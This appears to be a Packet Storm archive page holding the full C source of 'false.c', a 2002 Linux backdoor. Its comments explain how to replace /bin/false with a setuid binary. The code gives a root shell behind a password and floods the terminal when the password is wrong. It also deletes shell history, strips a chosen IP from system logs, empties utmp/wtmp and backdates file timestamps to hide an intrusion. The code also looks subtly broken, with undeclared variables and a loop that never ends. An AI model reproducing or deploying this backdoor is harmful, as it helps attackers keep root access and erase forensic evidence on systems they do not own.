exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

false.c

false.c
Posted Jun 4, 2002
Authored by Pir8 | Site dtors.net

False.c is a local/remote backdoor for Linux.

tags | tool, remote, local, rootkit
systems | linux, unix
SHA-256 | 1258fc1afb8d05496afbb0ac6750abcae3d1f81d9148516aa2e5bdb83bce46ca

false.c

Change Mirror Download
/* 
* False.c - by Pir8
*
* False.c is a local/remote backdoor, depending
* on how you set it up.
*
* Remote:
* gcc false.c -o false -lcrypt
* mv ./false /bin/false
* passwd rpc or passwd xfs
* chmod 4775 /bin/false
*
* Local:
* gcc false.c -o sush -lcrypt
* chmod 4775 sush
* ./sush
*
*/






#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

#define remove "/bin/rm"
#define link "/bin/ln"
#define grep "/bin/grep"
#define touch "/bin/touch"
#define killall "/usr/bin/killall"
#define echo "/bin/echo"
#define move "/bin/mv"
#define PWD "uXO1k5bPFzFhk" /* passwd can be changed using "htpasswd" */


int main() { /* Lets start the program */

char *crypted=PWD;
char *pass; /* variable for passwd */
char ip[15];
char execute[200];


pass = (char *)getpass ("Password: "); /* lets get users pass */

if (strcmp(crypt(pass,crypted),crypted)) { /* lets see if the pass entered matches */

printf("SeCshell Protected.\n"); /* display text */
sleep(3); /* rest for 3 secs */
system("/bin/cat /dev/urandom"); /* Flood users Terminal */
exit(1);
}

else
{
setuid(0); /* remove this line if you dont want to get a root shell */
setgid(0); /* remove this line if you dont want to get a root shell */


while(i<argc){
strcpy(argv[i],"xfs -daemon -cron");
}

/* Lets start cleaning some files! */

printf("Input an IP/Username to clean: ");
scanf("%15s", ip);
printf("Cleaning -> %s\n", ip);

sprintf(execute,"%s /var/spool/mail/root", remove);
system(execute);
printf("\nCleaning mail.....");
sprintf(execute,"%s \"\" > /var/spool/mail/root", echo);
system(execute);
printf("OK");

sprintf(execute,"%s -r /bin/ls /var/spool/mail/root", touch);
system(execute);

printf("\nRemoving History.....");
sprintf(execute,"%s -rf /root/.bash_history", remove);
system(execute);
printf("OK");

printf("\nUpdating time stamps.....");
sprintf(execute,"%s -s /dev/null /root/.bash_history", link);
system(execute);
printf("OK");

printf("\nCleaning /var/log/secure.....");
sprintf(execute,"%s -v %s /var/log/secure > /var/log/secure1", grep, ip);
system(execute);
sprintf(execute,"%s -f /var/log/secure1 /var/log/secure", move);
system(execute);
printf("OK");
printf("\nUpdating time stamps.....");
sprintf(execute,"%s -r /bin/ls /var/log/secure", touch);
system(execute);
printf("OK");

printf("\nCleaning /var/log/lastlog.....");
sprintf(execute,"%s -v %s /var/log/lastlog > /var/log/lastlog1", grep, ip);
system(execute);
sprintf(execute,"%s -f /var/log/lastlog1 /var/log/lastlog", move);
system(execute);
printf("OK");
printf("\nUpdating time stamps.....");
sprintf(execute,"%s -r /bin/ls /var/log/lastlog", touch);
system(execute);
printf("OK");

printf("\nCleaning /var/log/xferlog.....");
sprintf(execute,"%s -v %s /var/log/xferlog > /var/log/xferlog1", grep, ip);
system(execute);
sprintf(execute,"%s -f /var/log/xferlog1 /var/log/xferlog", move);
system(execute);
printf("OK");
printf("\nUpdating time stamps.....");
sprintf(execute,"%s -r /bin/ls /var/log/xferlog", touch);
system(execute);
printf("OK");


printf("\nCleaning /var/log/messages.....");
sprintf(execute,"%s -v %s /var/log/messages > /var/log/messages1", grep, ip);
system(execute);
sprintf(execute,"%s -f /var/log/messages1 /var/log/messages", move);
system(execute);
printf("OK");
printf("\nUpdating time stamps.....");
sprintf(execute,"%s -r /bin/ls /var/log/messages", touch);
system(execute);
printf("OK");

printf("\nCleaning utmp and wtmp.....");
sprintf(execute,"%s "" > /var/run/utmp", echo);
system(execute);

sprintf(execute,"%s "" > /var/run/wtmp", echo);
system(execute);
printf("OK");

printf("\nRestarting syslogd.....");
sprintf(execute,"%s -HUP syslogd", killall);
system(execute);
printf("\nCleaning restart log.....");
sprintf(execute,"%s -v syslogd /var/log/messages > /var/log/messages1", grep);
system(execute);
sprintf(execute,"%s -f /var/log/messages1 /var/log/messages", move);
system(execute);
printf("OK");
printf("\nUpdating time stamps.....");
sprintf(execute,"%s -r /bin/ls /var/log/messages", touch);
system(execute);
printf("OK");
printf("\n\nLogs have been cleaned successfully!");


execl("/bin/sh",".dtors",0); /* Execute shell */

}
return (0);
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close